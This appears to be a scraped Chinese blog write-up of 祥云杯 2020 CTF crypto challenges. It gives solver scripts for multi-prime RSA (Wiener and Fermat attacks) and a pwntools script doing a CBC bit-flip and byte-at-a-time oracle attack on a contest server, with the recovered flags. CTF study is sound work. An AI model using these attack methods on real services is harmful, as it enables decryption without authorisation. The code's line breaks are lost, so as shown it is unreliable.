from Crypto.Util.number import *import gmpy2p, q, r = [getPrime(512) for i in range(3)]n = p * q * rphi = (p - 1) * (q - 1) * (r - 1)d = getPrime(256)e = gmpy2.invert(d , phi)flag = b"flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}"c = pow(bytes_to_long(flag), e, n)print(e, n)print(c)

三素数的RSA,曾经某个比赛还考过四素数的。其加密方式和常规RSA基本一致相同

# -*- coding: utf-8 -*-from Crypto.Util.number import long_to_bytese = 1072295425944136507039938677101442481213519408125148233880442849206353379681989305000570387093152236263203395726974692959819315410781180094216209100069530791407495510882640781920564732214327898099944792714253622047873152630438060151644601786843683746256407925709702163565141004356238879406385566586704226148537863811717298966607314747737551724379516675376634771455883976069007134218982435170160647848549412289128982070647832774446345062489374092673169618836701679n = 1827221992692849179244069834273816565714276505305246103435962887461520381709739927223055239953965182451252194768935702628056587034173800605827424043281673183606478736189927377745575379908876456485016832416806029254972769617393560238494326078940842295153029285394491783712384990125100774596477064482280829407856014835231711788990066676534414414741067759564102331614666713797073811245099512130528600464099492734671689084990036077860042238454908960841595107122933173c = 1079929174110820494059355415059104229905268763089157771374657932646711017488701536460687319648362549563313125268069722412148023885626962640915852317297916421725818077814237292807218952574111141918158391190621362508862842932945783059181952614317289116405878741758913351697905289993651105968169193211242144991434715552952340791545323270065763529865010326192824334684413212357708275259096202509042838081150055727650443887438253964607414944245877904002580997866300452data = []while n:data += [e // n]e, n = n, e % nfor i in range(1, len(data) + 1):e = 1072295425944136507039938677101442481213519408125148233880442849206353379681989305000570387093152236263203395726974692959819315410781180094216209100069530791407495510882640781920564732214327898099944792714253622047873152630438060151644601786843683746256407925709702163565141004356238879406385566586704226148537863811717298966607314747737551724379516675376634771455883976069007134218982435170160647848549412289128982070647832774446345062489374092673169618836701679n = 1827221992692849179244069834273816565714276505305246103435962887461520381709739927223055239953965182451252194768935702628056587034173800605827424043281673183606478736189927377745575379908876456485016832416806029254972769617393560238494326078940842295153029285394491783712384990125100774596477064482280829407856014835231711788990066676534414414741067759564102331614666713797073811245099512130528600464099492734671689084990036077860042238454908960841595107122933173data1 = data[:i]d = 0d1 = 1for j in data1[::-1]:d, d1 = d1, d + j * d1if b'flag' in long_to_bytes(str(pow(c, d, n))):print(long_to_bytes(str(pow(c, d, n))))

flag{1c40fa8a-6a9c-4243-bd83-cd4875ea88cc}

★RSAssss

from Crypto.Util.number import *from gmpy2 import next_primep = getPrime(512)q = getPrime(512)n = p * q * next_prime(p) * next_prime(q)e = 0x10001flag = b"flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}"cipher = pow(bytes_to_long(flag), e, n)print(n, cipher)#8030860507195481656424331455231443135773524476536419534745106637165762909478292141556846892146553555609301914884176422322286739546193682236355823149096731058044933046552926707682168435727800175783373045726692093694148718521610590523718813096895883533245331244650675812406540694948121258394822022998773233400623162137949381772195351339548977422564546054188918542382088471666795842185019002025083543162991739309935972705871943787733784491735500905013651061284020447578230135075211268405413254368439549259917312445348808412659422810647972872286215701325216318641985498202349281374905892279894612835009186944143298761257#330412463971933434999766363211057930667393277770584064857577467142742413428768098831412931259336108760624381952829861013179707826235130739683198539755539064015139113863343195174674815661046358247964556177919498180612989800987651789945084087556967597676515560844679920369992744883500475670715128104485967669553337375579827389250319475394899794765310069084188092544505917549431419860547502393956775040990721765429143061510225852399839423143679690263507799582947734731675473993898081429330428931841744349301970407316458550521765857021498915017512375703812538099605076157202198657393415547064109167866445108006571926

四素数的RSA攻击,曾经考过,直接上脚本

# -*- coding: utf-8 -*-from Crypto.Util.number import GCD, inverse, long_to_bytesimport gmpy2n = 8030860507195481656424331455231443135773524476536419534745106637165762909478292141556846892146553555609301914884176422322286739546193682236355823149096731058044933046552926707682168435727800175783373045726692093694148718521610590523718813096895883533245331244650675812406540694948121258394822022998773233400623162137949381772195351339548977422564546054188918542382088471666795842185019002025083543162991739309935972705871943787733784491735500905013651061284020447578230135075211268405413254368439549259917312445348808412659422810647972872286215701325216318641985498202349281374905892279894612835009186944143298761257c = 3304124639719334349997663632110579306673932777705840648575774671427424134287680988314129312593361087606243819528298610131797078262351307396831985397555390640151391138633431951746748156610463582479645561779194981806129898009876517899450840875569675976765155608446799203699927448835004756707151281044859676695533373755798273892503194753948997947653100690841880925445059175494314198605475023939567750409907217654291430615102258523998394231436796902635077995829477347316754739938980814293304289318417443493019704073164585505217658570214989150175123757038125380996050761572021986573934155470641091678664451080065719261207e = 0x10001def fermat_factorization(N):Factor = []gmpy2.get_context().precision = 2048a = int(gmpy2.sqrt(N))a2 = a * ab2 = gmpy2.sub(a2, N)while True:a += 1b2 = a * a - Nif gmpy2.is_square(b2):b2 = gmpy2.mpz(b2)gmpy2.get_context().precision = 2048b = int(gmpy2.sqrt(b2))Factor.append([a + b, a - b])if len(Factor) == 2:breakreturn Factorif __name__ == "__main__":factor = fermat_factorization(n)[X1, Y1] = factor[0][X2, Y2] = factor[1]assert X1 * Y1 == nassert X2 * Y2 == np1 = gmpy2.mpz(GCD(X1, X2))p2 = gmpy2.mpz(X1 / p1)q1 = gmpy2.mpz(GCD(Y1, Y2))q2 = gmpy2.mpz(Y1 / q1)assert p1 * p2 * q1 * q2 == nphi = gmpy2.mpz(0)phi = (p1 - 1) * (q1 - 1) * (p2 - 1) * (q2 - 1)d = inverse(e, phi)flag = long_to_bytes(pow(c, d, n))print(flag)

flag{2bef1a3e-5598-404e-b022-f593a230ce58}

★blowfishgame

CBC 翻转攻击使 message 前 8 字节为 get_flag,然后就是简单的逐字节爆破,我全都防出去了,防出去了啊。

# -*- coding: utf-8 -*-# @Project: Hello Python!# @File : exp# @Author : Nonuplebroken # @Date : 2020-11-22from pwn import *import stringimport itertoolsfrom hashlib import sha384import reimport base64def PoW(part, hash_value):alphabet = string.ascii_letters + string.digitsfor x in itertools.product(alphabet, repeat=3):nonce = ''.join(x)if sha384(nonce + part).hexdigest() == hash_value:return noncedef xor(a, b):assert len(a) == len(b)return ''.join([chr(ord(a[i])^ord(b[i])) for i in range(len(a))])sh = remote('8.131.69.237', 15846)s1 = sh.recvuntil('Give me XXX:')re_res = re.search(r'sha384\(XXX\+([a-zA-Z0-9]{17})\) == ([0-9a-f]{96})', s1)part = re_res.group(1)hash_value = re_res.group(2)print 'part:', partprint 'hash_value:', hash_valuenonce = PoW(part, hash_value)print 'nonce:', noncesh.sendline(nonce)_ = [sh.recvline() for i in range(8)]s1 = sh.recvline()s1 = base64.b64decode(s1)iv, c = s1[:8], s1[8:]print len(iv)print len(c)d_c1 = xor('Blowfish', iv)new_iv = xor(d_c1, 'get_flag')get_flag = base64.b64encode(new_iv + c)print get_flagflag = ''alphabet = 'flag{}-0123456789abcdef'# alphabet = string.printablefor i in range(42):sh.sendline(get_flag)target_m = ('x' * (47 - i))sh.sendline(target_m)target_c = base64.b64decode(sh.recvline())for x in alphabet:sh.sendline(get_flag)test_m = ('x' * (47 - i)) + flag + xsh.sendline(test_m)test_c = base64.b64decode(sh.recvline())if test_c[:48] == target_c[:48]:flag += xprint '[%02d/42] %s' % (i+1, flag)breaksh.interactive()

flag{ba524422-7769-4d00-bd4d-6d6946c173ce}

我们欢迎每一个对技术充满热情的同学

如果你和我们一样,想做出点成绩

这里给你无限的空间,任你翱翔

进组方式,简历投递邮箱736241063@qq.com

欢迎真正热爱技术的你!

Timeline Sec 团队

安全路上,与你并肩前行

java 中1%3c1%3c1_祥云杯2020 部分WriteUp相关推荐

  1. 祥云杯2020(11.21-22)-CryptoWP

    文章目录 Exposure more_calc RSAssss simpleRSA blowfishgame Exposure 题目考点: dp高位泄露 题目: Do you know how to ...

  2. 祥云杯2020 Crypto wp

    Crypto: SimpleRSA wiener attack 利用自定义的m检验生成的d'来判断phi是否正确 e=10722954259441365070399386771014424812135 ...

  3. [网鼎杯 2020 朱雀组]Think Java

    [网鼎杯 2020 朱雀组]Think Java 文章目录 [网鼎杯 2020 朱雀组]Think Java 获取源文件 Swagger JDBC sql注入 关于#的使用 查看数据库名字 获取表名 ...

  4. 【网鼎杯 2020 朱雀组】Think Java

    [网鼎杯 2020 朱雀组]Think Java 首先下载题目附件,是一些.class文件,反编译查看. 注意到引入的其中一个包: import io.swagger.annotations.ApiO ...

  5. 第十一届蓝桥杯 2020年国赛真题及解析 (Java 大学B组)

    第十一届蓝桥杯 2020年国赛真题 Java 大学B组 A 美丽的 2 B 扩散 C 阶乘约数 D 本质上升序列 E 玩具蛇 F 蓝肽子序列 ​G 皮亚诺曲线距离 H 画廊 I 补给 J 质数行者 所 ...

  6. [2020首届祥云杯]带音乐家

    [2020首届祥云杯]带音乐家 题目: 下载好附件,打开,得到一个文件与一个rar包: 并且rar包是经过了加密的,我这里去010里看了下,发现并不是伪加密: 所以突破点就只有上面的decode_it ...

  7. 蓝桥杯——Java中的全排列算法

    蓝桥杯--Java中的全排列 全排列的概念 排列 从n个数中选取m(m<=n)个数按照一定的顺序进行排成一个列,叫作从n个元素中取m个元素的一个排列.不同的顺序是一个不同的排列.从n个元素中取m ...

  8. java中的冰雹数,java实现第七届蓝桥杯打印数字

    打印数字 打印数字 小明写了一个有趣的程序,给定一串数字. 它可以输出这串数字拼出放大的自己的样子. 比如"2016"会输出为: 00000 1 6666 2 0 0 1 1 6 ...

  9. BMZCTF 2020祥云杯到点了

    2020祥云杯到点了 下载附件得到三个word文档,我们打开第一个文档然后将隐藏文字显示出来 得到提示 我们查看属性应该就是日期了我们先把他记录下来 然后打开第二个文档 输入刚刚的密码 在第二个wor ...

最新文章

  1. Linux权限管理(基本权限、默认权限、
  2. Rational rose的安装
  3. LabVIEW2015安装教程
  4. python接口自动化(四十三)-公共模块 pymysql 连接mysql数据库(单独说明)
  5. 7大编程误区,你避开了吗?
  6. kafka性能高的影响因素
  7. matlab 切比雪夫逼近,切比雪夫等波纹逼近.PDF
  8. .NET: 如何在宿主中动态加载所有的服务
  9. 2021线报天下 原创工具 (免费版本,无版权问题)
  10. 内存信息检测软件:Thaiphoon Burner 16.5.0.2
  11. 平板xmind怎么添加父主题_XMind8主题使用教程
  12. Elasticsearch5.0 安装 以及 问题集锦
  13. 根据身份证号判断性别、年龄、生日
  14. 二阶边值问题的数值解matlab,二阶线性微分方程边值问题的MATLAB求解
  15. Python Flask Web教程006:Flask HTTP方法
  16. 计算机专业到底该不该考研?
  17. c语言烟花发射原理,烟花发射原理
  18. FPGA 之 SOPC 系列(六)Nios II 程序开发 II
  19. Android开发之漫漫长途 XII——Fragment 详解
  20. GNSS精密单点定位(PPP)基本原理

热门文章

  1. 配置Cisco按vlan生成树PVST
  2. 百度超级链、联通链亮相百度Create大会,助力产业数字化变革
  3. 驯服烂代码_驯服Tomcat:Tomcat 5的过滤技巧
  4. 黑洞优化算法(Matlab实现)
  5. 鸿蒙os将用在哪款机型,4月份正式开始,鸿蒙OS即将推送,14款荣耀机型在列,太感动了!...
  6. Submit Text 3 使用SVN
  7. MATLAB点乘与乘的区别
  8. C#开发-----坦克大战游戏
  9. 微信浏览器中的全屏异常、应用切换异常问题探究
  10. 安卓微信自带浏览器无法呼出摄像头问题